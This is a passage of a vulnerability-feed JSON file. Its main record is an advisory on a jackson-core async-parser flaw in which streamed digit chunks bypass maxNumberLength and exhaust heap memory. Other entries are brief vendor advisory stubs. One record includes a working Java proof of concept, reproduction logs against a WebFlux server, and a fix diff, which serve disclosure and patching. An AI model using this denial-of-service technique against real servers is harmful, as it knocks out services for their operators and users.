2026-06-08).","status":"published","published":"2026-08-04T15:16:41.443Z","modified":"2026-10-23T23:10:00.157Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T14:12:34.643497Z"}],"osv":[{"id":"CVE-2026-68494","title":"jackson-core: Async parser maxNumberLength bypass via chunked digit accumulation (incomplete fix for CVE-2026-18401 / GHSA-72hv-8253-57qq)","description":"The fix released in jackson-core 2.18.6 and 2.21.1 for CVE-2026-18401 (GHSA-72hv-8253-57qq, number length constraint bypass in the non-blocking parser) is incomplete. This record covers the remaining bypass.\n\nThe earlier fix wired validateIntegerLength() into a new _setIntLength() helper and invoked it wherever the integer portion of a number is decided: a terminator byte arrives, a '.' or 'e'/'E' is seen, or input ends inside a fully buffered value. It was not invoked on the attacker-relevant path where the parser runs out of input while still inside the MINOR_NUMBER_INTEGER_DIGITS minor state and returns NOT_AVAILABLE to the caller.\n\nAs a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, keeps the parser inside MINOR_NUMBER_INTEGER_DIGITS indefinitely. _textBuffer.expandCurrentSegment() grows the accumulator on every chunk while validateIntegerLength() is never called. The accumulator is bounded only by maxStringLength (20 MiB by default) rather than by maxNumberLength (1000 by default), an amplification of roughly 20,000x over the documented limit. Because Java char values occupy two bytes, a single connection can be driven to approximately 40 MiB of heap before the validator finally fires when the value completes.\n\nThe equivalent fraction-path code is correct: _finishFloatFraction() calls _setFractLength() before its NOT_AVAILABLE return. The missing call affects the integer-digit paths in _startPositiveNumber(), _startNegativeNumber() and _finishNumberIntegralPart() in NonBlockingUtf8JsonParserBase.\n\nImpact: reactive frameworks such as Spring WebFlux/Reactor, Quarkus, Helidon and Vert.x feed inbound HTTP or gRPC bytes to the async parser as they arrive, which is precisely the chunked-feed shape required. Operators who set StreamReadConstraints.maxNumberLength expecting it to cap memory per number value do not get that guarantee; memory accumulates per concurrent connection and attacker-controlled concurrency can exhaust the JVM heap. The synchronous parsers (UTF8StreamJsonParser, ReaderBasedJsonParser) and the async parser operating on complete input are not affected.\n\nExploitation requires only the ability to stream data to a parsing endpoint; no privileges or user interaction are needed.\n\nThis issue affects com.fasterxml.jackson.core:jackson-core from version 2.15.0 through 2.18.7, and from 2.19.0 through 2.21.3, and tools.jackson.core:jackson-core from 3.0.0 through 3.1.3. Versions prior to 2.15.0 are not affected, because StreamReadConstraints -- which defines the maxNumberLength setting -- was first introduced in jackson-core 2.15.0, so no such constraint exists to be bypassed in earlier releases. Note that GHSA-r7wm-3cxj-wff9 states the affected 2.x range without a lower bound. The 2.22.x and 3.2.x release lines are not affected: those branches were created after the fix commit landed on 2026-05-21 and therefore contain it from their initial releases (2.22.0, tagged 2026-06-03, and 3.2.0, tagged 2026-06-08).","status":"published","published":"2026-08-04T14:39:14.471Z","modified":"2026-10-28T11:12:05.878273744Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T15:45:14.808935Z"},{"id":"GHSA-642r-3gj9-2pj5","title":"Duplicate Advisory: jackson-core: Async parser maxNumberLength bypass via chunked digit accumulation (incomplete fix for GHSA-72hv-8253-57qq)","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-r7wm-3cxj-wff9. This link is maintained to preserve external references.\n\n## Original Description\nThe fix released in jackson-core 2.18.6 and 2.21.1 for CVE-2026-18401 (GHSA-72hv-8253-57qq, number length constraint bypass in the non-blocking parser) is incomplete. This record covers the remaining bypass.\n\n\n\nThe earlier fix wired validateIntegerLength() into a new _setIntLength() helper and invoked it wherever the integer portion of a number is decided: a terminator byte arrives, a . or e/E is seen, or input ends inside a fully buffered value. It was not invoked on the attacker-relevant path where the parser runs out of input while still inside the MINOR_NUMBER_INTEGER_DIGITS minor state and returns NOT_AVAILABLE to the caller.\n\n\n\nAs a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, keeps the parser inside MINOR_NUMBER_INTEGER_DIGITS indefinitely. _textBuffer.expandCurrentSegment() grows the accumulator on every chunk while validateIntegerLength() is never called. The accumulator is bounded only by maxStringLength (20 MiB by default) rather than by maxNumberLength (1000 by default), an amplification of roughly 20,000x over the documented limit. Because Java char values occupy two bytes, a single connection can be driven to approximately 40 MiB of heap before the validator finally fires when the value completes.\n\n\n\nThe equivalent fraction-path code is correct: _finishFloatFraction() calls _setFractLength() before its NOT_AVAILABLE return. The missing call affects the integer-digit paths in _startPositiveNumber(), _startNegativeNumber() and _finishNumberIntegralPart() in NonBlockingUtf8JsonParserBase.\n\n\n\nImpact: reactive frameworks such as Spring WebFlux/Reactor, Quarkus, Helidon and Vert.x feed inbound HTTP or gRPC bytes to the async parser as they arrive, which is precisely the chunked-feed shape required. Operators who set StreamReadConstraints.maxNumberLength expecting it to cap memory per number value do not get that guarantee; memory accumulates per concurrent connection and attacker-controlled concurrency can exhaust the JVM heap. The synchronous parsers (UTF8StreamJsonParser, ReaderBasedJsonParser) and the async parser operating on complete input are not affected.\n\n\n\nExploitation requires only the ability to stream data to a parsing endpoint; no privileges or user interaction are needed.\n\n\n\nThis issue affects com.fasterxml.jackson.core:jackson-core from version 2.15.0 through 2.18.7, from 2.19.0 through 2.21.3, and from 2.22.0 through 2.22.0, and tools.jackson.core:jackson-core from 3.0.0 through 3.1.3 and from 3.2.0 through 3.2.0. Versions prior to 2.15.0 are not affected, because StreamReadConstraints -- which defines the maxNumberLength setting -- was first introduced in jackson-core 2.15.0, so no such constraint exists to be bypassed in earlier releases. Note that GHSA-r7wm-3cxj-wff9 states the affected 2.x range without a lower bound.","status":"withdrawn","published":"2026-08-04T15:32:24Z","modified":"2026-10-02T23:15:06.789653007Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T15:46:39.266402Z"},{"id":"GHSA-r7wm-3cxj-wff9","title":"jackson-core: Async parser maxNumberLength bypass via chunked digit accumulation (incomplete fix for GHSA-72hv-8253-57qq)","description":"## Summary\n\nThe fix released in jackson-core `2.18.6` and `2.21.1` for [GHSA-72hv-8253-57qq](https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq) (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit `b0c428e6` (#1555) wired `validateIntegerLength` into a new `_setIntLength` helper and called it at every place where the integer portion of a number is *decided* (terminator byte arrived, `.` / `e/E` seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: \"ran out of input while still inside `MINOR_NUMBER_INTEGER_DIGITS`, return `NOT_AVAILABLE` to caller\".\n\nAs a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside `MINOR_NUMBER_INTEGER_DIGITS` indefinitely. `_textBuffer.expandCurrentSegment()` grows on every chunk, and `validateIntegerLength` is never invoked. The accumulator is only gated by `maxStringLength` (20 MiB default) — a **~20,000x amplification** of the documented `maxNumberLength` (1000 default).\n\nThis is the same vulnerability class, same advisory wording (\"Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers\"), same parser class — just the streaming path the original fix didn't cover. The fix to the *fraction* path is correct (see `_finishFloatFraction` at line 1834-1837 of `NonBlockingUtf8JsonParserBase.java` in 2.18.6, where `_setFractLength(fractLen)` IS called before the `NOT_AVAILABLE` return); the equivalent call is missing from every integer-digit path.\n\n## Affected versions\n\nVerified on the patched releases:\n- `com.fasterxml.jackson.core:jackson-core` **2.18.6**\n- `com.fasterxml.jackson.core:jackson-core` **2.21.1**\n\nStructurally identical code in `tools.jackson.core` 3.0.x / 3.1.x — same `NonBlockingUtf8JsonParserBase` class, same `_setIntLength` rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable.\n\n## Affected code\n\n[`src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java`](https://github.com/FasterXML/jackson-core/blob/b0c428e6/src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java) in 2.18.6 / 2.21.1.\n\n### Site 1 — `_startPositiveNumber(int ch)` lines 1320-1330:\n\n```java\nif (outPtr \u003e= outBuf.length) {\n    // NOTE: must expand to ensure contents all in a single buffer (to keep\n    // other parts of parsing simpler)\n    outBuf = _textBuffer.expandCurrentSegment();\n}\noutBuf[outPtr++] = (char) ch;\nif (++_inputPtr \u003e= _inputEnd) {\n    _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n    _textBuffer.setCurrentLength(outPtr);\n    return _updateTokenToNA();          // \u003c-- no validateIntegerLength(outPtr)\n}\n```\n\n### Site 2 — `_finishNumberIntegralPart` lines 1691-1727:\n\n```java\nprotected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {\n    int negMod = _numberNegative ? -1 : 0;\n\n    while (true) {\n        if (_inputPtr \u003e= _inputEnd) {\n            _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n            _textBuffer.setCurrentLength(outPtr);\n            return _updateTokenToNA();    // \u003c-- no validateIntegerLength(outPtr + negMod)\n        }\n        int ch = getByteFromBuffer(_inputPtr) \u0026 0xFF;\n        if (ch \u003c INT_0) {\n            if (ch == INT_PERIOD) {\n                _setIntLength(outPtr+negMod);   // \u003c-- validated here\n                ++_inputPtr;\n                return _startFloat(outBuf, outPtr, ch);\n            }\n            break;\n        }\n        if (ch \u003e INT_9) {\n            if ((ch | 0x20) == INT_e) {\n                _setIntLength(outPtr+negMod);   // \u003c-- validated here\n                ++_inputPtr;\n                return _startFloat(outBuf, outPtr, ch);\n            }\n            break;\n        }\n        ++_inputPtr;\n        if (outPtr \u003e= outBuf.length) {\n            outBuf = _textBuffer.expandCurrentSegment();\n        }\n        outBuf[outPtr++] = (char) ch;\n    }\n    _setIntLength(outPtr+negMod);            // \u003c-- validated here\n    _textBuffer.setCurrentLength(outPtr);\n    return _valueComplete(JsonToken.VALUE_NUMBER_INT);\n}\n```\n\nThe pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 — every \"ran out of input mid-integer\" exit returns to the caller without validating the accumulator length.\n\n### Compare with the fraction path that is correct\n\n`_finishFloatFraction` lines 1827-1838:\n\n```java\nwhile (loop) {\n    if (ch \u003e= INT_0 \u0026\u0026 ch \u003c= INT_9) {\n        ++fractLen;\n        if (outPtr \u003e= outBuf.length) {\n            outBuf = _textBuffer.expandCurrentSegment();\n        }\n        outBuf[outPtr++] = (char) ch;\n        if (_inputPtr \u003e= _inputEnd) {\n            _textBuffer.setCurrentLength(outPtr);\n            _setFractLength(fractLen);          // \u003c-- VALIDATED\n            return JsonToken.NOT_AVAILABLE;\n        }\n        ch = getNextSignedByteFromBuffer();\n    }\n    ...\n}\n```\n\n## Impact\n\nReactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping `JsonFactory.createNonBlockingByteArrayParser()` or `createNonBlockingByteBufferParser()`) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set `StreamReadConstraints.builder().maxNumberLength(N)` on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to `maxStringLength` (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM.\n\nThe synchronous parsers (`UTF8StreamJsonParser`, `ReaderBasedJsonParser`) and the async parser on *complete* input are not affected — those paths go through `_setIntLength` or `ParserBase._reportTooLongIntegral` correctly.\n\nCWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 8.7 High.\n\n## Proof of concept\n\nStandalone PoC, no Maven required:\n\n```\nmkdir poc \u0026\u0026 cd poc\ncurl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar\ncat \u003e PoC.java \u003c\u003c'EOF'\nimport com.fasterxml.jackson.core.*;\nimport com.fasterxml.jackson.core.async.ByteArrayFeeder;\n\npublic class PoC {\n    public static void main(String[] args) throws Exception {\n        StreamReadConstraints strict = StreamReadConstraints.builder()\n                .maxNumberLength(1000)\n                .build();\n        JsonFactory f = new JsonFactoryBuilder()\n                .streamReadConstraints(strict)\n                .build();\n\n        // Sanity: synchronous parser rejects 5000-digit int.\n        try (JsonParser p = f.createParser(\"{\\\"v\\\":\" + \"1\".repeat(5000) + \"}\")) {\n            while (p.nextToken() != null) { /* drive */ }\n            System.out.println(\"[-] BUG ABSENT: sync parser accepted\");\n            return;\n        } catch (Exception e) {\n            System.out.println(\"[+] sync parser rejected 5000-digit int: \" + e.getClass().getSimpleName());\n        }\n\n        // Bug: async parser, chunked, no terminator.\n        JsonParser ap = f.createNonBlockingByteArrayParser();\n        ByteArrayFeeder feeder = (ByteArrayFeeder) ap;\n\n        byte[] preamble = \"{\\\"v\\\":\".getBytes(\"UTF-8\");\n        feeder.feedInput(preamble, 0, preamble.length);\n        while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ }\n\n        byte[] digits = new byte[16 * 1024];\n        for (int i = 0; i \u003c digits.length; i++) digits[i] = (byte) ('1' + (i % 9));\n\n        for (int c = 0; c \u003c 600; c++) {\n            feeder.feedInput(digits, 0, digits.length);\n            JsonToken t = ap.nextToken();\n            if (t != JsonToken.NOT_AVAILABLE) {\n                System.out.println(\"[-] unexpected token: \" + t);\n                return;\n            }\n        }\n        System.out.println(\"[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000\");\n\n        // Closing the number now finally triggers the validator.\n        feeder.feedInput(\"}\".getBytes(\"UTF-8\"), 0, 1);\n        feeder.endOfInput();\n        try {\n            while (ap.nextToken() != null) { /* drive */ }\n        } catch (Exception e) {\n            System.out.println(\"[*] late rejection on close: \" + e.getMessage().split(\"\\n\")[0]);\n        }\n        ap.close();\n    }\n}\nEOF\njavac -cp jackson-core-2.18.6.jar PoC.java\njava -Xmx256m -cp jackson-core-2.18.6.jar:. PoC\n```\n\nObserved output against `jackson-core-2.18.6`:\n\n```\n[+] sync parser rejected 5000-digit int: StreamConstraintsException\n[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000\n[*] late rejection on close: Number value length (9830400) exceeds the maximum allowed (1000, from `StreamReadConstraints.getMaxNumberLength()`)\n```\n\nObserved output against `jackson-core-2.21.1`: identical.\n\nThe 9.83 MB figure is purely a function of the loop bound (600 chunks * 16 KiB). The actual ceiling is `maxStringLength = 20 MiB`. With the strict policy declared as `maxNumberLength = 1000`, the parser permits **9830x** more allocation than the policy allows. With `maxStringLength` left at the default 20 MiB, an attacker can drive a single connection to 40 MiB of `char[]` heap (chars are 2 bytes each) before the validator finally fires on terminator/`endOfInput()`. Multiply by concurrent connections.\n\n## End-to-end reproduction through real HTTP\n\nSupplements the standalone PoC with a running Spring Boot WebFlux server,\ndriving the same bug through the actual reactor-netty + Jackson2JsonDecoder\nstreaming-decode path that production reactive endpoints use.\n\nSetup:\n- Spring Boot 3.3.5 starter-webflux (spring-webflux 6.1.14, reactor-netty 1.1.23)\n- jackson-databind 2.17.2, jackson-core overridden:\n  - VULN run: `com.fasterxml.jackson.core:jackson-core:2.18.7` (latest published)\n  - PATCHED run: `2.18.8-SNAPSHOT` built from the fix branch\n- JVM: OpenJDK 17.0.18\n- Server `JsonFactory` configured with `StreamReadConstraints.builder().maxNumberLength(1000).build()`\n\nEndpoint under test exposes the `Flux\u003cDataBuffer\u003e` request body directly to\n`Jackson2JsonDecoder.decode(Flux, ResolvableType, ...)` so the parser sees one\nHTTP chunk per `feedInput` (the same pattern used for any\n`@RequestBody Flux\u003c...\u003e` / streaming JSON decoder in WebFlux). A raw-socket\nHTTP/1.1 chunked client streams `{\"v\":1` then 250 chunks of 200 digit bytes\neach (50,000 digits total) at 20ms intervals, then writes the closing `}`.\n\nVULN — jackson-core 2.18.7:\n```\n[VULN-SMALLCHUNK] streamed 50000 digits across 250 chunks; server still accepting\n[VULN-SMALLCHUNK] full POST sent (50000 digits). Response:\nHTTP/1.1 200 OK\nERR after 6548ms cause=com.fasterxml.jackson.core.exc.StreamConstraintsException:\n       Number value length (50000) exceeds the maximum allowed (1000, ...)\n```\nServer-side controller trace (250 DataBuffer arrivals elided):\n```\n[ctrl] DataBuffer arrived size=6   ms=39       \u003c- '{\"v\":1'\n[ctrl] DataBuffer arrived size=200 ms=42\n...\n[ctrl] DataBuffer arrived size=199 ms=5993\n[ctrl] DataBuffer arrived size=1   ms=6518     \u003c- closing '}'\n[ctrl] ERR after 6548ms ... Number value length (50000) exceeds ...\n```\nServer held all 50,000 digit characters in `_textBuffer` for 6.5 seconds with\n`maxNumberLength=1000` declared. The validator never fires during streaming;\nit only fires at value-completion when the closing `}` arrives.\n\nPATCHED — jackson-core 2.18.8-SNAPSHOT (fix branch):\n```\n[PATCHED-SMALLCHUNK] connection broke after 2801 digits at chunk 14: [Errno 32] Broken pipe\n[PATCHED-SMALLCHUNK] DONE: digits_sent=2801 status=connection-broke-mid-stream\n```\nServer-side controller trace:\n```\n[ctrl] DataBuffer arrived size=6   ms=129\n[ctrl] DataBuffer arrived size=200 ms=142\n[ctrl] DataBuffer arrived size=200 ms=142\n[ctrl] DataBuffer arrived size=200 ms=145\n[ctrl] DataBuffer arrived size=200 ms=146\n[ctrl] DataBuffer arrived size=200 ms=147\n[ctrl] ERR after 155ms ... Number value length (1001) exceeds the maximum allowed (1000, ...)\n```\nPatched server raises `StreamConstraintsException` at 155ms after only 5\nDataBuffers, exactly when the accumulated digit count crosses\n`maxNumberLength=1000`. The connection is reset mid-stream rather than the\nparser silently consuming the rest of the attacker's payload.\n\nSide-by-side:\n\n| Build | Chunks accepted before exception | Digits buffered | Time to detection |\n|---|---|---|---|\n| jackson-core 2.18.7 | 250 (full payload) | 50,000 (50x the configured limit) | 6,548ms — only at terminator |\n| 2.18.8-SNAPSHOT (fix branch) | 5 | 1,001 | 155ms — moment threshold crossed |\n\nNote on the default `@RequestBody Mono\u003cJsonNode\u003e` path: that path cannot\ndistinguish the two builds because Spring's `decodeToMono` joins all\nDataBuffers into one before parsing. The exploitable shape is the\nstreaming-decode path (`Flux\u003cJsonNode\u003e` / `@RequestBody Flux\u003c...\u003e` /\nWebSocket / SSE / any direct `decoder.decode(Flux\u003cDataBuffer\u003e, ...)` call),\nwhich is also what `Jackson2Tokenizer` uses for any streaming JSON\ndeserialization in WebFlux and Quarkus reactive REST.\n\n## Suggested fix\n\nMirror the pattern already used in `_finishFloatFraction`. At every site that returns `_updateTokenToNA()` (or `JsonToken.NOT_AVAILABLE`) with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`, call `_setIntLength(outPtr + negMod)` first. Concretely, the diff to `NonBlockingUtf8JsonParserBase.java` would be:\n\n```diff\n     protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {\n         int negMod = _numberNegative ? -1 : 0;\n\n         while (true) {\n             if (_inputPtr \u003e= _inputEnd) {\n                 _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n                 _textBuffer.setCurrentLength(outPtr);\n+                _streamReadConstraints.validateIntegerLength(outPtr + negMod);\n                 return _updateTokenToNA();\n             }\n```\n\nNote: `_setIntLength` itself can't be used as-is because it also assigns `_intLength`, and `_intLength` must not be set until the integer is truly complete (subsequent fraction handling reads `_intLength`). The minimal fix is to call only the validator, as shown.\n\nApply the same one-line insertion before each `return _updateTokenToNA();` that exits with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`. The sites are listed above (12 lines total).\n\nAlternatively, a heavier refactor: also gate `_textBuffer.expandCurrentSegment()` calls inside the digit-accumulation loops on `outPtr \u003c maxNumberLength` so that the validator fires at the moment the buffer would be enlarged past the limit, rather than waiting for the next chunk boundary. Either approach is sufficient.\n\n## Credit\n\nReported by `tonghuaroot` (`tonghuaroot@gmail.com`). Variant hunt against the Feb 2026 fix for GHSA-72hv-8253-57qq.","status":"published","published":"2026-07-21T21:58:53Z","modified":"2026-10-02T23:15:06.853935725Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T15:46:55.480549Z"},{"id":"RHSA-2026:53644","title":"Red Hat Security Advisory: Red Hat JBoss Enterprise Application Platform 7.4.25 security pdate","status":"published","published":"2026-08-12T10:16:36Z","modified":"2026-10-20T10:10:54Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:53:21.457353Z"},{"id":"RHSA-2026:53645","title":"Red Hat Security Advisory: Red Hat JBoss Enterprise Application Platform 7.4.25 Security update","status":"published","published":"2026-09-18T10:11:53Z","modified":"2026-10-20T10:10:55Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:53:21.457353Z"},{"id":"RHSA-2026:53646","title":"Red Hat Security Advisory: Red Hat JBoss Enterprise Application Platform 7.4.25 Security update","status":"published","published":"2026-09-18T10:11:53Z","modified":"2026-10-20T10:10:56Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:53:21.457353Z"},{"id":"RHSA-2026:63327","title":"Red Hat Security Advisory: Satellite 6.16.13 Async Update","status":"published","published":"2026-09-04T10:14:01Z","modified":"2026-10-20T10:12:56Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:21.91255Z"},{"id":"RHSA-2026:63385","title":"Red Hat Security Advisory: Satellite 6.19.4 Async Update","status":"published","published":"2026-09-04T10:14:03Z","modified":"2026-10-20T10:12:57Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:21.91255Z"},{"id":"RHSA-2026:63386","title":"Red Hat Security Advisory: Satellite 6.18.9 Async Update","status":"published","published":"2026-09-04T10:14:03Z","modified":"2026-10-20T10:12:58Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:21.91255Z"},{"id":"RHSA-2026:63387","title":"Red Hat Security Advisory: Satellite 6.17.11 Async Update","status":"published","published":"2026-09-04T10:14:04Z","modified":"2026-10-20T10:12:59Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:21.91255Z"},{"id":"RHSA-2026:70228","title":"Red Hat Security Advisory: Red Hat JBoss Enterprise Application Platform 8.1.8 security update","status":"published","published":"2026-09-23T10:15:18Z","modified":"2026-10-20T10:14:31Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:22.406388Z"},{"id":"RHSA-2026:70229","title":"Red Hat Security Advisory: Red Hat JBoss Enterprise Application Platform 8.1.8 security update","status":"published","published":"2026-09-23T10:15:19Z","modified":"2026-10-20T10:14:32Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:22.406388Z"},{"id":"RHSA-2026:70230","title":"Red Hat Security Advisory: Red Hat JBoss Enterprise Application Platform 8.1.8 security update","status":"published","published":"2026-09-23T10:15:20Z","modified":"2026-10-20T10:14:33Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:22.406388Z"},{"id":"RHSA-2026:76128","title":"Red Hat Security Advisory: Red Hat Single Sign-On 7.6.13 security update on RHEL 7","status":"published","published":"2026-10-07T10:19:58Z","modified":"2026-10-20T10:15:52Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L","level":"critical"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"RHSA-2026:76129","title":"Red Hat Security Advisory: Red Hat Single Sign-On 7.6.13 security update on RHEL 8","status":"published","published":"2026-10-07T10:19:59Z","modified":"2026-10-20T10:15:53Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L","level":"critical"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"RHSA-2026:76130","title":"Red Hat Security Advisory: Red Hat Single Sign-On 7.6.13 security update on RHEL 9","status":"published","published":"2026-10-07T10:19:59Z","modified":"2026-10-20T10:15:54Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L","level":"critical"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"UBUNTU-CVE-2026-68494","description":"The fix released in jackson-core 2.18.6 and 2.21.1 for CVE-2026-18401 (GHSA-72hv-8253-57qq, number length constraint bypass in the non-blocking parser) is incomplete. This record covers the remaining bypass. The earlier fix wired validateIntegerLength() into a new _setIntLength() helper and invoked it wherever the integer portion of a number is decided: a terminator byte arrives, a '.' or 'e'/'E' is seen, or input ends inside a fully buffered value. It was not invoked on the attacker-relevant path where the parser runs out of input while still inside the MINOR_NUMBER_INTEGER_DIGITS minor state and returns NOT_AVAILABLE to the caller. As a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, keeps the parser inside MINOR_NUMBER_INTEGER_DIGITS indefinitely. _textBuffer.expandCurrentSegment() grows the accumulator on every chunk while validateIntegerLength() is never called. The accumulator is bounded only by maxStringLength (20 MiB by default) rather than by maxNumberLength (1000 by default), an amplification of roughly 20,000x over the documented limit. Because Java char values occupy two bytes, a single connection can be driven to approximately 40 MiB of heap before the validator finally fires when the value completes. The equivalent fraction-path code is correct: _finishFloatFraction() calls _setFractLength() before its NOT_AVAILABLE return. The missing call affects the integer-digit paths in _startPositiveNumber(), _startNegativeNumber() and _finishNumberIntegralPart() in NonBlockingUtf8JsonParserBase. Impact: reactive frameworks such as Spring WebFlux/Reactor, Quarkus, Helidon and Vert.x feed inbound HTTP or gRPC bytes to the async parser as they arrive, which is precisely the chunked-feed shape required. Operators who set StreamReadConstraints.maxNumberLength expecting it to cap memory per number value do not get that guarantee; memory accumulates per concurrent connection and attacker-controlled concurrency can exhaust the JVM heap. The synchronous parsers (UTF8StreamJsonParser, ReaderBasedJsonParser) and the async parser operating on complete input are not affected. Exploitation requires only the ability to stream data to a parsing endpoint; no privileges or user interaction are needed. This issue affects com.fasterxml.jackson.core:jackson-core from version 2.15.0 through 2.18.7, and from 2.19.0 through 2.21.3, and tools.jackson.core:jackson-core from 3.0.0 through 3.1.3. Versions prior to 2.15.0 are not affected, because StreamReadConstraints -- which defines the maxNumberLength setting -- was first introduced in jackson-core 2.15.0, so no such constraint exists to be bypassed in earlier releases. Note that GHSA-r7wm-3cxj-wff9 states the affected 2.x range without a lower bound. The 2.22.x and 3.2.x release lines are not affected: those branches were created after the fix commit landed on 2026-05-21 and therefore contain it from their initial releases (2.22.0, tagged 2026-06-03, and 3.2.0, tagged 2026-06-08).","status":"published","published":"2026-08-04T15:16:00Z","modified":"2026-10-17T12:59:20.775716875Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T16:56:57.159276Z"},{"id":"CLSA-2026-1789484097","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (4 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 4 CVEs. Fixed in 2.17.2-tuxcare.1.","status":"published","published":"2026-09-15T14:54:57Z","modified":"2026-10-15T09:47:44.141909919Z","updated_at":"2026-11-02T15:43:47.938828Z"},{"id":"CLSA-2026-1791485698","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (6 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 6 CVEs. Fixed in 